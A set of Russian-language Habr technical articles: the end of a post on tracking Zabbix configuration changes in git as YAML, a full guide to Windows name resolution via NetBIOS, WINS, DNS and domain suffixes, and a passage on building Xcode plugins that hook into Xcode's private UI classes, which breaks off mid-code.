3. Читаемый **YAML** — обрабатываем экспортированный XML и сырой JSON и сохраняем в человекочитаемый, удобный, ванильный YAML. С ним легко глазами обрабатывать большие объемы изменений. Добавляем туда небольшие обработки:
* Удаляем поля без значений — спорный момент, так можем пропустить незаполненное поле, хотя оно должно быть заполненным, например поле с описанием проблемы у триггера (trigger.description). После обсуждения решили, что лучше будем убирать пустые поля, их слишком много. При желании можно поставить исключение на какие-то пустые поля и их не удалять.
* Удаляем даты — изменяются каждый раз и при мердж-реквестах показываются как изменения у каждого хоста.
* Можно по желанию добавить другие операции по наполнению информацией — в action пишутся userid вместо пользователей, к примеру.
Выделяем три git-репозитория (мы для хранения используем gitlab, но подойдут любые VCS):
1. **zabbix-review-export** — тут будет храниться код для экспорта (Python-скрипты) и параметры для gitlab-ci jobs.
2. **zabbix-xml** — храним XML+JSON, все в одной ветке. Ревьюить это дело тяжело и занимает много времени. Используется для восстановления состояния конфигурации Zabbix на определенное время.
3. **zabbix-yaml** — наш основной репозиторий, тут делаем мердж-реквесты, смотрим изменения, обсуждаем принятые решения, мерджим в **master** если нет замечаний.
В эти репозитории сохраняем данные конфигурации, правила там следующие:
* группировка по типам объектов по папкам — полный список: <https://gitlab.com/devopshq/zabbix-review-export#supported-objects>
* один объект — один файл.
Теперь явно видим, какой тип объекта изменился, и понятно, какой объект изменился; на примере ниже изменился шаблон **Profile. ScmDev. FlusContinuousTest**.
Покажем на примерах
===================
Для просмотра изменений используем механизм merge-request в gitlab.
Изменили **шаблон Profile. DevOps. Test** — поменяли выражение триггера. Шаблон, так как находится в папке **templates**:
Поменяли выражение в триггере и приоритет:
Прилинковали к одному шаблону другой:
Поменяли action — добавили в конец текста по умолчанию новую строку:
Пример обсуждений в мердж-реквестах (все как у программистов!) — видно, что подключили стандартный шаблон напрямую к хосту, но стоит выделить отдельную роль, на будущее. Скриншот со старого ревью, тогда еще использование XML-представление конфигурации.
В целом все просто:
1. Добавили новый хост или другой объект — создался новый файл.
2. Изменили хост или другой объект — посмотрели diff.
3. Удалили — файл удалился.
Допустим, вы выполнили задачу и хотите попросить коллегу посмотреть, ничего ли не забыли. Запрашиваем ревью: для этого в репозитории **zabbix-review-export** запускаем gitlab-ci job с ручным запуском.
Назначаем мердж-реквест на коллегу, который смотрит, обсуждаете и правите код инфраструктуру мониторинга.
Раз в неделю запускается новое ревью, чтобы отслеживать небольшие изменения, для этого по расписанию ([Schedule](https://docs.gitlab.com/ee/user/project/pipelines/schedules.html)) делается экспорт и сохранение конфигурации в git-репозиторий (новым коммитом), и гуру мониторинга просматривает изменения.
Мягко стелешь, но надо попробовать
==================================
Теперь расскажем, как настроить данную систему ревью Zabbix-конфигурации ([мы любим open source](https://habr.com/company/pt/blog/327957/) и стараемся делиться наработками с сообществом).
Возможны два варианта использования:
1. Просто запускать скрипт экспорта руками — запустить скрипт, посмотреть изменения, сделать `git add * && git commit && git push`. Такой вариант подходит для редких изменений или когда вы работаете с системой мониторинга один.
2. Использовать для автоматизации gitlab-ci — тогда вам лишь нужно кликнуть на кнопку запуска (смотрите выше скриншот). Вариант больше подходит для больших ~~ленивых~~ команд или при частых изменениях.
Оба варианта описаны в репозитории <https://gitlab.com/devopshq/zabbix-review-export>, там хранится все необходимое — скрипты, настройки gitlab-ci и README.md, как поставить в свою инфраструктуру.
Для начала попробуйте первый вариант (или если у вас нет инфраструктуры gitlab-ci): используйте ручной режим — запускайте скрипт [zabbix-export.py](https://gitlab.com/devopshq/zabbix-review-export/blob/master/zabbix-export.py) для экспорта (бэкапа) конфигурации, `git add * && git commit && git push` делайте на своей рабочей машине. Когда надоест, переходите ко второму варианту — автоматизируйте автоматизацию!
Проблемы и возможные улучшения
==============================
Сейчас изменения обезличены и чтобы узнать, кто вносил изменения, нужно пользоваться системой [Audit](https://www.zabbix.com/documentation/4.0/manual/web_interface/frontend_sections/reports/audit), что вызывает боль и страдания. Но не все так страшно, и Audit редко нужен, обычно достаточно сообщения в командном чате, чтобы найти нужного сотрудника.
Еще одна проблема: при изменении в хосте item или trigger оно не содержится в XML. То есть мы можем выключить все триггеры на конкретном хосте или поменять им приоритет на более низкий — и никто об этом не узнает и не поправит нас! Мы ждем исправления этого в <https://support.zabbix.com/browse/ZBX-15175>
Пока не придумали механизм автоматического восстановления. Допустим, шаблон или хост сильно изменен, поняли, что изменения неверны и нужно вернуть все как было. Сейчас мы ищем нужную XML для соответствующего хоста, импортируем вручную в UI, а хотелось бы просто нажать кнопку «Откатить шаблон TemplateName до состояния коммита commit-hash».
Можно реализовать двухстороннюю синхронизацию — когда при изменениях в YAML создаются изменения в Zabbix-конфигурации, тогда не придется и заходить в веб-интерфейс системы Zabbix. На github встречали подобный проект, но он как-то быстро угас и сообщество не восприняло идею; видимо, не так просто реализовывать в YAML то, что можно накликать мышкой в веб-интерфейсе. Поэтому остановились на взаимодействии в одну сторону.
**Идеальный вариант** — встроить данную систему сохранения конфигурации как код, хотя бы просто XML-формата, в Zabbix. Как это сделано [в CI-сервере TeamCity](https://confluence.jetbrains.com/display/TCD10/Storing+Project+Settings+in+Version+Control): конфигурации, настроенные через UI, делают коммиты от имени пользователя, который изменил конфигурацию. Получается очень удобный инструмент для просмотра изменений, а также устраняется проблема с обезличиванием изменений.
Попробуйте
==========
Запустите экспорт вашей конфигурации Zabbix, закоммитьте в репозиторий (достаточно локального), подождите неделю и запустите снова. Теперь изменения у вас под контролем! <https://gitlab.com/devopshq/zabbix-review-export>
Кому была бы интересна данная функциональность в коробке Zabbix — прошу голосовать за issue <https://support.zabbix.com/browse/ZBXNEXT-4862>
Всем 100% uptime! | https://habr.com/ru/post/433126/ | null | ru | null |
# [Конспект админа] Домены, адреса и Windows: смешивать, но не взбалтывать
В очередном «конспекте админа» остановимся на еще одной фундаментальной вещи – механизме разрешения имен в IP-сетях. Кстати, знаете почему в доменной сети nslookup на все запросы может отвечать одним адресом? И это при том, что сайты исправно открываются. Если задумались – добро пожаловать под кат..
Для преобразования имени в IP-адрес в операционных системах Windows традиционно используются две технологии – NetBIOS и более известная DNS.
Дедушка NetBIOS
===============
NetBIOS (Network Basic Input/Output System) – технология, пришедшая к нам в 1983 году. Она обеспечивает такие возможности как:
* регистрация и проверка сетевых имен;
* установление и разрыв соединений;
* связь с гарантированной доставкой информации;
* связь с негарантированной доставкой информации;
* поддержка управления и мониторинга драйвера и сетевой карты.
В рамках этого материала нас интересует только первый пункт. При использовании NetBIOS имя ограниченно 16 байтами – 15 символов и спец-символ, обозначающий тип узла. Процедура преобразования имени в адрес реализована широковещательными запросами.
**Небольшая памятка о сути широковещательных запросов.**Широковещательным называют такой запрос, который предназначен для получения всеми компьютерами сети. Для этого запрос посылается на специальный IP или MAC-адрес для работы на третьем или втором уровне модели OSI.
Для работы на втором уровне используется MAC-адрес FF:FF:FF:FF:FF:FF, для третьего уровня в IP-сетях адрес, являющимся последним адресом в подсети. Например, в подсети 192.168.0.0/24 этим адресом будет 192.168.0.255
> Интересная особенность в том, что можно привязывать имя не к хосту, а к сервису. Например, к имени пользователя для отправки сообщений через net send.
Естественно, постоянно рассылать широковещательные запросы не эффективно, поэтому существует кэш NetBIOS – временная таблица соответствий имен и IP-адреса. Таблица находится в оперативной памяти, по умолчанию количество записей ограничено шестнадцатью, а срок жизни каждой – десять минут. Посмотреть его содержимое можно с помощью команды **nbtstat -c**, а очистить – **nbtstat -R**.
*Пример работы кэша для разрешения имени узла **«хр»**.*
*Что происходило при этом с точки зрения сниффера.*
В крупных сетях из-за ограничения на количество записей и срока их жизни кэш уже не спасает. Да и большое количество широковещательных запросов запросто может замедлить быстродействие сети. Для того чтобы этого избежать, используется сервер [WINS](https://ru.wikipedia.org/wiki/Windows_Internet_Name_Service) (Windows Internet Name Service). Адрес сервера администратор может прописать сам либо его назначит DHCP сервер. Компьютеры при включении регистрируют NetBIOS имена на сервере, к нему же обращаются и для разрешения имен.
> В сетях с \*nix серверами можно использовать пакет программ [Samba](https://www.samba.org) в качестве замены WINS. Для этого достаточно добавить в конфигурационный файл строку «wins support = yes». Подробнее – в [документации](https://www.samba.org/samba/docs/using_samba/ch07.html).
В отсутствие службы WINS можно использовать файл lmhosts, в который система будет «заглядывать» при невозможности разрешить имя другими способами. В современных системах по умолчанию он отсутствует. Есть только файл-пример-документация по адресу %systemroot%\System32\drivers\etc\lmhost.sam. Если lmhosts понадобится, его можно создать рядом с lmhosts.sam.
Сейчас технология NetBIOS не на слуху, но по умолчанию она включена. Стоит иметь это ввиду при диагностике проблем.
Стандарт наших дней – DNS
=========================
DNS (Domain Name System) – распределенная иерархическая система для получения информации о доменах. Пожалуй, самая известная из перечисленных. Механизм работы предельно простой, рассмотрим его на примере определения IP адреса хоста www.google.com:
* если в кэше резолвера адреса нет, система запрашивает указанный в сетевых настройках интерфейса сервер DNS;
* сервер DNS смотрит запись у себя, и если у него нет информации даже о домене google.com – отправляет запрос на вышестоящие сервера DNS, например, провайдерские. Если вышестоящих серверов нет, запрос отправляется сразу на один из 13 (не считая реплик) корневых серверов, на которых есть информация о тех, кто держит верхнюю зону. В нашем случае – com.
* после этого наш сервер спрашивает об имени **www.google.com** сервер, который держит зону com;
* затем сервер, который держит зону **google.com** уже выдает ответ.
*Наглядная схема прохождения запроса DNS.*
Разумеется, DNS не ограничивается просто соответствием «имя – адрес»: здесь поддерживаются разные виды записей, описанные стандартами RFC. Оставлю их список соответствующим [статьям](https://en.wikipedia.org/wiki/List_of_DNS_record_types).
Сам сервис DNS работает на UDP порту 53, в редких случаях используя TCP.
> DNS переключается на TCP с тем же 53 портом для переноса DNS-зоны и для запросов размером более 512 байт. Последнее встречается довольно редко, но на собеседованиях потенциальные работодатели любят задавать вопрос про порт DNS с хитрым прищуром.
Также как и у NetBIOS, у DNS существует кэш, чтобы не обращаться к серверу при каждом запросе, и файл, где можно вручную сопоставить адрес и имя – известный многим %Systemroot%\System32\drivers\etc\hosts.
В отличие от кэша NetBIOS в кэш DNS сразу считывается содержимое файла hosts. Помимо этого, интересное отличие заключается в том, что в кэше DNS хранятся не только соответствия доменов и адресов, но и неудачные попытки разрешения имен. Посмотреть содержимое кэша можно в командной строке с помощью команды **ipconfig /displaydns**, а очистить – **ipconfig /flushdns**. За работу кэша отвечает служба dnscache.
*На скриншоте видно, что сразу после чистки кэша в него добавляется содержимое файла hosts, и иллюстрировано наличие в кэше неудачных попыток распознавания имени.*
При попытке разрешения имени обычно используются сервера DNS, настроенные на сетевом адаптере. Но в ряде случаев, например, при подключении к корпоративному VPN, нужно отправлять запросы разрешения определенных имен на другие DNS. Для этого в системах Windows, начиная с 7\2008 R2, появилась **таблица политик разрешения имен** (Name Resolution Policy Table, NRPT). Настраивается она через реестр, в разделе HKEY\_LOCAL\_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DnsClient\DnsPolicyConfig или групповыми политиками.
*Настройка политики разрешения имен через **GPO**.*
При наличии в одной сети нескольких технологий, где еще и каждая – со своим кэшем, важен порядок их использования.
Порядок разрешения имен
=======================
Операционная система Windows пытается разрешить имена в следующем порядке:
* проверяет, не совпадает ли имя с локальным именем хоста;
* смотрит в кэш DNS распознавателя;
* если в кэше соответствие не найдено, идет запрос к серверу DNS;
* если имя хоста «плоское», например, «servername», система обращается к кэшу NetBIOS. Имена более 16 символов или составные, например «servername.domainname.ru» – NetBIOS не используется;
* если не получилось разрешить имя на этом этапе – происходит запрос на сервер WINS;
* если постигла неудача, то система пытается получить имя широковещательным запросом, но не более трех попыток;
* последняя попытка – система ищет записи в локальном файле lmhosts.
Для удобства проиллюстрирую алгоритм блок-схемой:
*Алгоритм разрешения имен в Windows.*
То есть, при запуске команды **ping server.domain.com** NetBIOS и его широковещательные запросы использоваться не будут, отработает только DNS, а вот с коротким именем процедура пойдет по длинному пути. В этом легко убедиться, запустив простейший скрипт:
```
@echo off
echo %time%
ping hjfskhfjkshjfkshjkhfdsjk.com
echo %time%
ping xyz
echo %time%
pause
```
Выполнение второго пинга происходит на несколько секунд дольше, а сниффер покажет широковещательные запросы.
*Сниффер показывает запросы DNS для длинного имени и широковещательные запросы NetBIOS для короткого.*
Отдельного упоминания заслуживают доменные сети – в них запрос с коротким именем отработает чуть по-другому.
Active Directory и суффиксы
===========================
Active Directory тесно интегрирована с DNS и не функционирует без него. Каждому компьютеру домена создается запись в DNS, и компьютер получает полное имя (FQDN — fully qualified domain name) вида name.subdomain.domain.com.
Для того чтоб при работе не нужно было вводить FQDN, система автоматически добавляет часть имени домена к хосту при различных операциях – будь то регистрация в DNS или получение IP адреса по имени. Сначала добавляется имя домена целиком, потом следующая часть до точки.
При попытке запуска команды ping servername система проделает следующее:
* если в кэше DNS имя не существует, система спросит у DNS сервера о хосте servername.subdomain.domain.com;
* если ответ будет отрицательный – система запросит **servername.domain.com**, на случай, если мы обращаемся к хосту родительского домена.
При этом к составным именам типа [www.google.com](http://www.google.com) суффиксы по умолчанию не добавляются. Это поведение настраивается групповыми политиками.
*Настройка добавления суффиксов DNS через групповые политики.*
Настраивать DNS суффиксы можно также групповыми политиками или на вкладке DNS дополнительных свойств TCP\IP сетевого адаптера. Просмотреть текущие настройки удобно командой **ipconfig /all**.
*Суффиксы DNS и их порядок в выводе **ipconfig /all**.*
Однако утилита **nslookup** работает немного по-другому: она добавляет суффиксы в том числе и к длинным именам. Посмотреть, что именно происходит внутри nslookup можно, включив диагностический режим директивой debug или расширенный диагностический режим директивой dc2. Для примера приведу вывод команды для разрешения имени ya.ru:
```
nslookup -dc2 ya.ru
------------
Got answer:
HEADER:
opcode = QUERY, id = 1, rcode = NOERROR
header flags: response, want recursion, recursion avail.
questions = 1, answers = 1, authority records = 0, additional = 0
QUESTIONS:
4.4.8.8.in-addr.arpa, type = PTR, class = IN
ANSWERS:
-> 4.4.8.8.in-addr.arpa
name = google-public-dns-b.google.com
ttl = 86399 (23 hours 59 mins 59 secs)
------------
╤хЁтхЁ: google-public-dns-b.google.com
Address: 8.8.4.4
------------
Got answer:
HEADER:
opcode = QUERY, id = 2, rcode = NOERROR
header flags: response, want recursion, recursion avail.
questions = 1, answers = 1, authority records = 0, additional = 0
QUESTIONS:
ya.ru.subdomain.domain.com, type = A, class = IN
ANSWERS:
-> ya.ru.subdomain.domain.com
internet address = 66.96.162.92
ttl = 599 (9 mins 59 secs)
------------
Не заслуживающий доверия ответ:
------------
Got answer:
HEADER:
opcode = QUERY, id = 3, rcode = NOERROR
header flags: response, want recursion, recursion avail.
questions = 1, answers = 0, authority records = 1, additional = 0
QUESTIONS:
ya.ru.subdomain.domain.com, type = AAAA, class = IN
AUTHORITY RECORDS:
-> domain.com
ttl = 19 (19 secs)
primary name server = ns-2022.awsdns-60.co.uk
responsible mail addr = awsdns-hostmaster.amazon.com
serial = 1
refresh = 7200 (2 hours)
retry = 900 (15 mins)
expire = 1209600 (14 days)
default TTL = 86400 (1 day)
------------
╚ь : ya.ru.subdomain.domain.com
Address: 66.96.162.92
```
Из-за суффиксов утилита nslookup выдала совсем не тот результат, который выдаст например пинг:
```
ping ya.ru -n 1
Обмен пакетами с ya.ru [87.250.250.242] с 32 байтами данных:
Ответ от 87.250.250.242: число байт=32 время=170мс TTL=52
```
Это поведение иногда приводит в замешательство начинающих системных администраторов.
> Лично сталкивался с такой проблемой: в домене nslookup выдавал всегда один и тот же адрес в ответ на любой запрос. Как оказалось, при создании домена кто-то выбрал имя domain.com.ru, не принадлежащее организации в «большом интернете». Nslookup добавляла ко всем запросам имя домена, затем родительский суффикс – com.ru. Домен com.ru в интернете имеет wildcard запись, то есть любой запрос вида XXX.com.ru будет успешно разрешен. Поэтому nslookup и выдавал на все вопросы один ответ. Чтобы избежать подобных проблем, не рекомендуется использовать для именования не принадлежащие вам домены.
При диагностике стоит помнить, что утилита **nslookup** работает напрямую с сервером DNS, в отличие от обычного распознавателя имен. Если вывести компьютер из домена и расположить его в другой подсети, **nslookup** будет показывать, что всё в порядке, но без настройки суффиксов DNS система [не сможет](https://habrahabr.ru/company/pc-administrator/blog/315984/#chast-tretya-v-kotoroy-poyavlyaetsya-gik-porno) обращаться к серверам по коротким именам.
Отсюда частые вопросы – почему ping не работает, а nslookup работает.
В плане поиска и устранения ошибок разрешения имен могу порекомендовать не бояться использовать инструмент для анализа трафика – сниффер. С ним весь трафик как на ладони, и если добавляются лишние суффиксы, то это отразится в запросах DNS. Если запросов DNS и NetBIOS нет, некорректный ответ берется из кэша.
Если же нет возможности запустить сниффер, рекомендую сравнить вывод ping и nslookup, очистить кэши, проверить работу с другим сервером DNS.
**Кстати, если вспомните любопытные DNS-курьезы из собственной практики – поделитесь в комментариях.** | https://habr.com/ru/post/330944/ | null | ru | null |
# Xcode: плагины для плагинов
Заинтересовавшись публикацией [«Пишем свой Xcode plugin»](http://habrahabr.ru/post/163795/) решил написать простой тайм-трекер для Xcode. Процесс, через который я прошел — суть данной статьи. В ней мы с вами разберём несколько плагинов, которые помогут писать другие плагины быстрее и эффективнее.
Основная идея любого плагина с интерфейсом состоит в том, что он интегрируется в UI Xcode'a и выглядит максимально родным для него. Но как только мы смотрим на окно Xcode, сразу же встает вопрос: «Как понять где какой объект и как нам интегрироваться в нужный нам?» Так на нашем пути появляется первый плагин. Мы напишем простой плагин, который будет загружаться в Xcode и говорить, где какой объект расположен.
### Первый плагин
Для начала, устанавливаем [шаблон для плагинов](https://github.com/kattrali/Xcode-Plugin-Template) и создаем плагин. Дальше все просто: для того, что бы понять, из чего состоит Xcode, необходимо вывести в лог его объекты. Для этого можно записывать логи в какой-нибудь файл или выводить их диалогами и каждый раз их закрывать. Ах, как было бы удобно выводить эту информацию прямо в консоль Xcode'a, скажете вы? Ну ничего, мы решим эту проблему нашим вторым плагином, но об этом чуть-чуть попозже. А пока, чтобы не разбираться с местоположением объектов из логов, мы будем делать скриншот окна Xcode с закрашенной областью объектов и сохранять всё это в файл.
Наш первый плагин будет состоять всего из одного метода, который будет проходить по всем 'NSView', раскрашивать их и делать скриншот текущего окна. Звучит просто, но на практике есть один небольшой нюанс: некоторые объекты 'NSView' в Xcode не могут иметь ничего кроме одной единственной 'contentView' и добавить свою на нее мы не можем. Но это не беда, мы просто будем игнорировать такие объекты и углубляться в них.
**Текст метода**
```
- (void)viewSnap:(NSView *)view {
static int i = 0;
//создаем text field с именем объекта
NSTextField *name = [[NSTextField alloc] initWithFrame:view.bounds];
name.backgroundColor = [NSColor colorWithDeviceRed:rand()%255/255.f green:rand()%255/255.f blue:rand()%255/255.f alpha:0.3];
name.textColor = [NSColor blackColor];
NSString *string = view.className?:NSStringFromClass(view.class);
name.stringValue = string?:@"unknown";
if (![view respondsToSelector:@selector(contentView)]) {//можем ли мы добавить text field?
[view addSubview:name];
//делаем снимок и сохраняем в файл
NSImage *captureImage = [[NSImage alloc] initWithData:[[NSApp keyWindow].contentView dataWithPDFInsideRect:[[NSApp keyWindow].contentView bounds]]];
[[captureImage TIFFRepresentation] writeToFile:[NSString stringWithFormat:@"%@%d.png", self.dirPath, i++] atomically:YES];
[name removeFromSuperview];
}
for (NSView *v in view.subviews) {
if ([v respondsToSelector:@selector(contentView)]) {
NSView *vv = [v performSelector:@selector(contentView) withObject:nil];
[self viewSnap:vv];
} else {
[self viewSnap:v];
}
}
}
```
И вызов метода:
```
- (void)doMenuAction {
NSWindow * window = [NSApp keyWindow];
srand(time(NULL));
[self viewSnap:window.contentView];
}
```
После этого можно открывать папку, куда вы сохраняли снимки и любоваться. Стоит поиграться еще с размерами текста в зависимости от размера 'NSView'.
Вот так выглядит результат:
А вот результаты в более красивом виде и после ручной обработки:
**Немного картинок**
Cразу же перейдём ко второму плагину. Будем выводить информацию от плагинов в Xcode консоль.
### Второй плагин
От первого плагина, мы узнали, что консоль в Xcode — это 'IDEConsoleTextView' класс. Но что это вообще за класс и какие методы у него есть? Что бы узнать это, есть несколько путей:
1. Написать плагин, который найдет консоль в окне и выведет все его методы в файл
2. С помощью [class-dump'a](http://stevenygard.com/projects/class-dump/) стянуть все хидеры из приватных фреймворков и пытаться найти этот класс там.
3. Идти на страничку проекта [XVim](https://github.com/XVimProject/XVim) и взять все приватные хидеры там.
Абсолютно неважно, каким путём пойдете вы, главное, что вы обнаружите, что консоль — сабкласс от 'NSTextView' и что она содержит в себе следующие методы: **insertText:**, **insertNewLine :**. Отлично, теперь мы можем найти консоль в окне и записать туда нужные нам строчки информации.
Теперь нам нужно добавить кнопку, отвечающую за режим логов и получить информацию от других плагинов.
После первого плагина мы знаем, что рядом с консолью есть 'DVTScopeBarView', содержащий в себе элементы управления. Туда мы и положим нашу кнопку. Смотрим в хидер 'DVTScopeBarView' и видим, что класс содержит в себе метод **addViewOnRight:**. Очень хорошо, значит мы можем добавить нашу кнопку на бар и не беспокоиться о положении других элементов.
**Поиск IDEConsoleTextView и DVTScopeBarView**
```
- (IDEConsoleTextView *)consoleViewInMainView:(NSView *)mainView
{
for (NSView *childView in mainView.subviews) {
if ([childView isKindOfClass:NSClassFromString(@"IDEConsoleTextView")]) {
return (IDEConsoleTextView *)childView;
} else {
NSView *v = [self consoleViewInMainView:childView];
if ([v isKindOfClass:NSClassFromString(@"IDEConsoleTextView")]) {
return (IDEConsoleTextView *)v;
}
}
}
return nil;
}
- (DVTScopeBarView *)scopeBarViewInView:(NSView *)view {
for (NSView *childView in view.subviews) {
if ([childView isKindOfClass:NSClassFromString(@"DVTScopeBarView")]) {
return (DVTScopeBarView *)childView;
} else {
NSView *v = [self scopeBarViewInView:childView];
if ([v isKindOfClass:NSClassFromString(@"DVTScopeBarView")]) {
return (DVTScopeBarView *)v;
}
}
}
return nil;
}
- (void)someMethod {
NSWindow *window = [NSApp keyWindow];
NSView *contentView = window.contentView;
IDEConsoleTextView *console = [self consoleViewInMainView:contentView];//ищем консоль
DVTScopeBarView *scopeBar = nil;
NSView *parent = console.superview;
while (!scopeBar) {
if (!parent) break;
scopeBar = [self scopeBarViewInView:parent];
parent = parent.superview;
}
//... добавляем кнопку на бар
}
```
Теперь мы добавили кнопку на бар и можем на окне найти консоль. Осталось как-то получать от других плагинов информацию и выводить её. Самый простой вариант: использовать 'NSNotificationCenter'. Так как плагины грузятся в среду Xcode и могу ловить от него уведомления, то можно и между плагинами отправлять и ловить их. Просто подписываемся под нужные нам уведомления и говорим консоли вывести лог. Для этого создаем функцию в клиент-файлах (файлы, которые будут использовать другие плагины), которая будет отправлять нужные нам уведомления и ловим их в нашем плагине.
**Функции лога и отображение в консоли**
```
void PluginLogWithName(NSString *pluginName, NSString *format, ...) {
NSString *name = @"";
if (pluginName.length) {
name = pluginName;
}
va_list argumentList;
va_start(argumentList, format);
NSString *string = [NSString stringWithFormat:@"%@ Plugin Console %@: ", [NSDate date], name];
NSString* msg = [[NSString alloc] initWithFormat:[NSString stringWithFormat:@"%@%@",string, format] arguments:argumentList];
NSMutableAttributedString *logString = [[NSMutableAttributedString alloc] initWithString:msg attributes:nil];
[logString setAttributes:[NSDictionary dictionaryWithObject:[NSFont fontWithName:@"Helvetica-Bold" size:15.f] forKey:NSFontAttributeName] range:NSMakeRange(0, string.length)];
[[NSNotificationCenter defaultCenter] postNotificationName:PluginLoggerShouldLogNotification object:logString];
va_end(argumentList);
}
- (void)addLog:(NSNotification *)notification {//ловим уведомление
for (NSWindow *window in [NSApp windows]) {//выводим лог во все окна
NSView *contentView = window.contentView;
IDEConsoleTextView *console = [self consoleViewInMainView:contentView];//находим консоль
console.logMode = 1;//переключаем консоль в режим редактирования
[console insertText:notification.object];//вставляем текст
[console insertNewline:@""];//переводим каретку на следующую строку
}
}
```
Как вы могли заметить, в лог можно выводить абсолютно любым шрифтом.
Вот и готов второй плагин. Полные исходники можно посмотреть [здесь](https://github.com/AlexIzh/PluginConsole). Выглядит плагин вот так:
### Третий плагин
Эх, как было бы хорошо, если бы плагины были рядом и доступ к ним был таким же, как к разделам в левой панели Xcode…
Давайте добавим свою панель в Xcode, чтобы любой желающий мог добавить свой плагин, не задумываясь об интеграции плагина с окном Xcode.
Тут нам пригодятся оба предыдущие плагины. По-крайней мере, они пригодились мне. Вам не придётся мучаться с логами, ловить бесконечные креши, разбираться в них и копаться в бесконечных файлах хидеров. Я просто расскажу про результаты.
У нас у окна есть 'NSToolbar', куда мы и будем добавлять кнопку. Самое сложное, что тулбар не имеет методов, чтобы прямо добавить элемент. Его элементами «рулит» делегат, который переопределить мы, конечно же, не можем. Единственный метод, который имеет тулбар для добавление элементов: **insertItemWithItemIdentifier:atIndex:**, но сам элемент генерирует делегат. Единственный выход — посмотреть, кто же является делегатом. Может быть, есть какие-то подходы к нему? Выводим в логи класс делегата и получаем класс 'IDEToolbarDelegate'. Отлично, теперь идем в приватные хидеры, которые мы получили class-dump'ом или взяли у XVim, и ищем этот класс там. Сразу же видим интересующие нам свойства у этого класса: **toolbarItemProviders** и **allowedItemIdentifiers**. Предположительно, наш делегат содержит словарь объектов, которые как раз-таки предоставляют элементы. Выводим в логи текущее содержание **toolbarItemProviders** и видим примерно такой словарь:
```
{
"some_id":,
"some\_other\_id":,
}
```
Отлично, теперь у нас есть еще одна зацепка — это класс 'IDEToolbarItemProxy'. Так же смотрим его интерфейс в хидерах и видим, что он инициализируется с идентификатором (скорее всего идентификатор элемента в 'NSToolbar') и имеет свойство **providerClass**. Но что это за **providerClass** и как нам его реализовать? Чтобы понять, что должен содержать данный класс, есть два пути:
1. Вывести данные классы и их методы у всех провайдеров из словаря **toolbarItemProviders** ;
2. Написать пустой класс, добавить его в словарь и ловить креши от Xcode, говорящих нам, каких методов не хватает.
Я пошел вторым путём, хотя первый, как мне кажется более правильный. Но когда я писал этот плагин, мне почему-то не пришла эта идея.
Итак, создаем класс и добавляем его к нашему делегату:
**Код**
```
IDEToolbarDelegate *delegate = (IDEToolbarDelegate *)window.toolbar.delegate;//берём делегат у тулбара
if ([delegate isKindOfClass:NSClassFromString(@"IDEToolbarDelegate")]) {
IDEToolbarItemProxy * proxy = [[NSClassFromString(@"IDEToolbarItemProxy") alloc] initWithItemIdentifier:PluginButtonIdentifier];//создаем наш прокси и нужным идентификатором
proxy.providerClass = [PluginButtonProvider class];//устанавливаем ему наш провайдер класс(пока пустой)
NSMutableDictionary *d = [NSMutableDictionary dictionaryWithDictionary:delegate.toolbarItemProviders];//берем словарь у делегата
[d setObject:proxy forKey:proxy.toolbarItemIdentifier];//добавляем наш прокси
delegate.toolbarItemProviders = d;//возвращаем словарь делегату
NSMutableArray *ar = [NSMutableArray arrayWithArray:delegate.allowedItemIdentifiers];//добавляем наш идентификатор в делегат
[ar addObject:proxy.toolbarItemIdentifier];
delegate.allowedItemIdentifiers = ar;
[window.toolbar insertItemWithItemIdentifier:PluginButtonIdentifier atIndex:window.toolbar.items.count];//вставляем наш элемент последним в тулбар
}
```
Устанавливаем плагин, перезапускаем Xcode и сразу же ловим креш. Смотрим логи и понимаем, что нашему классу необходим метод **+ (id)itemForItemIdentifier:(id)arg1 forToolbarInWindow:(id)arg2**. Этот метод описан в протоколе 'IDEToolbarItemProvider'. Удаляе плагин, запускаем Xcode и добавляем данный метод. По названию метода ясно, что на вход мы получаем идентификатор и окно, а на выходе должны получить некий объект. Подобными манипуляциями, а именно методом проб и ошибок, через N-ое количество крешей и перезапусков Xcode можно выяснить, что это объект класса 'DVTViewControllerToolbarItem'. А он в свою очередь инициализируется с классом 'DVTGenericButtonViewController'. Сам объект 'DVTGenericButtonViewController' иммет вот такую инициализацию:
До 6-ой версии Xcode: **initWithButton:actionBlock:itemIdentifier:window:**
С 6-ой версии: **initWithButton:actionBlock:setupTeardownBlock:itemIdentifier:window:**
По названию метода ясно, что ему нужна кнопка, блок, который вызывается при её нажатии, идентификатор и окно.
Создаём простую кнопку и инициализируем нужные нам контроллеры:
**Капелька кода**
```
DVTGenericButtonViewController *bvc = [(DVTGenericButtonViewController*)[NSClassFromString(@"DVTGenericButtonViewController") alloc] initWithButton:button actionBlock:^(NSButton *sender){} setupTeardownBlock:nil itemIdentifier:PluginButtonIdentifier window:arg2];
DVTViewControllerToolbarItem *c = [ NSClassFromString(@"DVTViewControllerToolbarItem") toolbarItemWithViewController:bvc];
```
Устанавливаем плагин и перезапускаем Xcode. Теперь наша кнопка добавлена в Xcode. Осталось написать обработчик для нашей кнопки. При клике на кнопку мы хотим, что бы открывалась правая панель, если она не открыта, и добавлялся наш объект на эту панель. Открываем правую панель и запускаем наш первый плагин. Просмотрев его результаты станет ясно, что панель — это 'DVTSplitView' объект. Кроме этого, необходимо определить, как программно открыть правую панель, если она спрятана. Для этого выводим все 'NSToolbarItem' из тулбара нашего окна в лог. Мы знаем, что объект, который нам нужен является последним(если наша кнопка еще не была добавлена). Берем нужный нам 'NSToolbarItem' и смотрим кто же им управляет, то есть смотрим свойство 'target'. Таргетом нашего 'NSToolbarItem' является объект класса '\_IDEWorkspacePartsVisibilityToolbarViewController'. Нам не нужно смотреть его интерфейс, так как он нам нужен лишь для того, что бы в будущем находить нужный нам 'NSToolbarItem' в окне (вдруг они будут располагаться в другой сортировке или кто-то добавить элемент до нас). Все приготовления готовы, теперь мы можем отобразить правую панель, найти её в окне и добавить наш объект на неё.
**Обработка кнопки**
```
NSWindow *window = arg2;
NSToolbarItem *item = nil;
for (NSToolbarItem *it in [[window toolbar] items]) {//ищем нужный нам тулбар айтем
if ([it.target isMemberOfClass:NSClassFromString(@"_IDEWorkspacePartsVisibilityToolbarViewController")]) {
item = it;
break;
}
}
NSSegmentedControl *control = (NSSegmentedControl *)item.view;//берем сегмент контрол из него
if ([sender state] == NSOnState) {//если кнопка включилась
if (![control isSelectedForSegment:2]) {//если правая панель спрятана
[control setSelected:YES forSegment:2];//включаем правую панель на сегменте
[item.target performSelector:item.action withObject:control];//и потравляем экшн
}
